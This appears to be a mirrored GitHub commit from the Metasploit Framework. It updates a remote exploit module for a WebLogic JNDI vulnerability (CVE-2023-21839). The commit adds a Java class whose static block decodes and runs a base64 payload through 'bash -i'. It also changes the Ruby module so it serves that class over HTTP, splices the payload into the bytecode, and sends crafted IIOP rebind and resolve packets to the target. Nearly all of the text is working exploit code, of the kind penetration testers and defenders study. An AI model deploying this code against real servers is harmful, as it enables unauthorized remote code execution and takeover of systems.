mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-09-04 20:18:27 +02:00
Add in Java class file, raw source code, and tidy up the module a bit
This commit is contained in:
parent
155319d479
commit
9e8d1ed2ea
BIN
data/exploits/CVE-2023-21839/PayloadRuns.class
Normal file
BIN
data/exploits/CVE-2023-21839/PayloadRuns.class
Normal file
Binary file not shown.
9
data/exploits/CVE-2023-21839/PayloadRuns.java
Normal file
9
data/exploits/CVE-2023-21839/PayloadRuns.java
Normal file
@ -0,0 +1,9 @@
|
||||
public class PayloadRuns {
|
||||
static {
|
||||
try {
|
||||
Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
@ -88,7 +88,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(7001),
|
||||
OptString.new('JAVA_CLASS_NAME', [true, 'Java class name to append to URL when making the JNDI connection to the target LDAP server']),
|
||||
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080])
|
||||
]
|
||||
)
|
||||
@ -187,11 +186,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
service_context_list << [context_list_length].pack('N') # Sequence Length
|
||||
service_context_list << '{SERVICE_CONTEXT_LIST}'
|
||||
|
||||
object_ref = datastore['JAVA_CLASS_NAME']
|
||||
if object_ref.length > 11
|
||||
fail_with(Failure::BadConfig, 'Due to limitations on the target the JAVA_CLASS_NAME cannot be longer than 11 characters long.')
|
||||
end
|
||||
stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{object_ref}" # Not sure why the backtick is here but hey.
|
||||
@java_class_name = 'PayloadRuns'
|
||||
stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@java_class_name}" # Not sure why the backtick is here but hey.
|
||||
|
||||
data << service_context_list
|
||||
data << stub_data
|
||||
@ -271,20 +267,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
# HTTP Server Related Functions and Overrides
|
||||
|
||||
# Returns the configured (or random, if not configured) URI path
|
||||
# Returns the configured URIPATH along with the path to the Java class we are serving
|
||||
def resource_uri
|
||||
path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar'
|
||||
path = '/' + path if path !~ %r{^/}
|
||||
if path !~ /\.jar$/
|
||||
print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")
|
||||
path += '.jar'
|
||||
end
|
||||
datastore['URIPATH'] = path
|
||||
return path
|
||||
"#{datastore['URIPATH']}/#{@java_class_name}.class"
|
||||
end
|
||||
|
||||
def resource_url_string
|
||||
"http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"
|
||||
# Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of
|
||||
# this URL when it tries to fetch the class to be loaded and instantiated.
|
||||
def ldap_url_string
|
||||
"http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}/"
|
||||
end
|
||||
|
||||
#
|
||||
@ -357,9 +348,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
|
||||
pay = regenerate_payload(cli)
|
||||
jar = inject_jar_payload_factory(pay.encoded_jar)
|
||||
send_response(cli, 200, 'OK', jar)
|
||||
file = File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'), 'rb')
|
||||
class_raw = file.read
|
||||
file.close
|
||||
base64_payload = Rex::Text.encode_base64(payload.encoded)
|
||||
command_length = (44 - 'PAYLOAD'.length) + base64_payload.length
|
||||
class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('S>'))
|
||||
class_raw = class_raw.gsub('PAYLOAD', base64_payload)
|
||||
send_response(cli, 200, 'OK', class_raw)
|
||||
end
|
||||
|
||||
#
|
||||
@ -368,38 +364,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
def send_response(cli, code, message = 'OK', html = '')
|
||||
proto = Rex::Proto::Http::DefaultProtocol
|
||||
res = Rex::Proto::Http::Response.new(code, message, proto)
|
||||
res['Content-Type'] = 'application/java-archive'
|
||||
res.body = html
|
||||
cli.send_response(res)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert PayloadFactory in Java payload JAR
|
||||
#
|
||||
# @param jar [Rex::Zip::Jar] payload JAR to update
|
||||
# @return [Rex::Zip::Jar] updated payload JAR
|
||||
def inject_jar_payload_factory(jar = generate_payload.encoded_jar)
|
||||
# From exploits/multi/browser/java_rhino - should probably go to lib
|
||||
paths = [
|
||||
[ 'metasploit/PayloadFactory.class' ]
|
||||
]
|
||||
paths.each do |path|
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = path[0, idx].join('/') + '/'
|
||||
jar.add_file(full, '') unless jar.entries.map(&:name).include?(full)
|
||||
end
|
||||
File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd|
|
||||
data = fd.read(fd.stat.size)
|
||||
jar.add_file(path.join('/'), data)
|
||||
end
|
||||
end
|
||||
jar
|
||||
end
|
||||
|
||||
# LDAP Server Overrides
|
||||
def build_ldap_search_response_payload
|
||||
# Always do a remote load
|
||||
build_ldap_search_response_payload_remote(resource_url_string)
|
||||
# Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server.
|
||||
# You can add anchor tags using # to the URL but thats it.
|
||||
build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name)
|
||||
end
|
||||
|
||||
# Main Exploit
|
||||
@ -553,6 +527,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
|
||||
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))
|
||||
|
||||
print_status('3. Sending rebindAny request!')
|
||||
socket.put(packet)
|
||||
rebind_any_buf = socket.get
|
||||
disconnect
|
||||
@ -604,6 +579,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
|
||||
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))
|
||||
|
||||
print_status('4. Sending second rebindAny request!')
|
||||
socket.put(packet)
|
||||
rebind_any_buf_2 = socket.get
|
||||
disconnect
|
||||
@ -646,6 +622,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
|
||||
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))
|
||||
|
||||
print_status('6. Sending resolve packet #1 with wls_key_1')
|
||||
socket = connect
|
||||
socket.put(packet)
|
||||
resolve_packet_wls_key_1 = socket.get
|
||||
@ -679,13 +656,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
start_service
|
||||
start_http_service('ServerPort' => (datastore['HttpListenerBindPort'].blank? ? datastore['HTTP_SRVPORT'] : datastore['HttpListenerBindPort']).to_i)
|
||||
|
||||
print_status('7. Sending resolve packet #2 with wls_key_2')
|
||||
socket = connect
|
||||
socket.put(packet)
|
||||
resolve_packet_wls_key_1 = socket.get
|
||||
step_7_response = socket.get
|
||||
disconnect
|
||||
print_good('Step 7 complete!')
|
||||
|
||||
reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0)
|
||||
reply_status_code = step_7_response[16..19].unpack('L>')&.dig(0)
|
||||
if reply_status_code != USER_EXCEPTION
|
||||
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!")
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user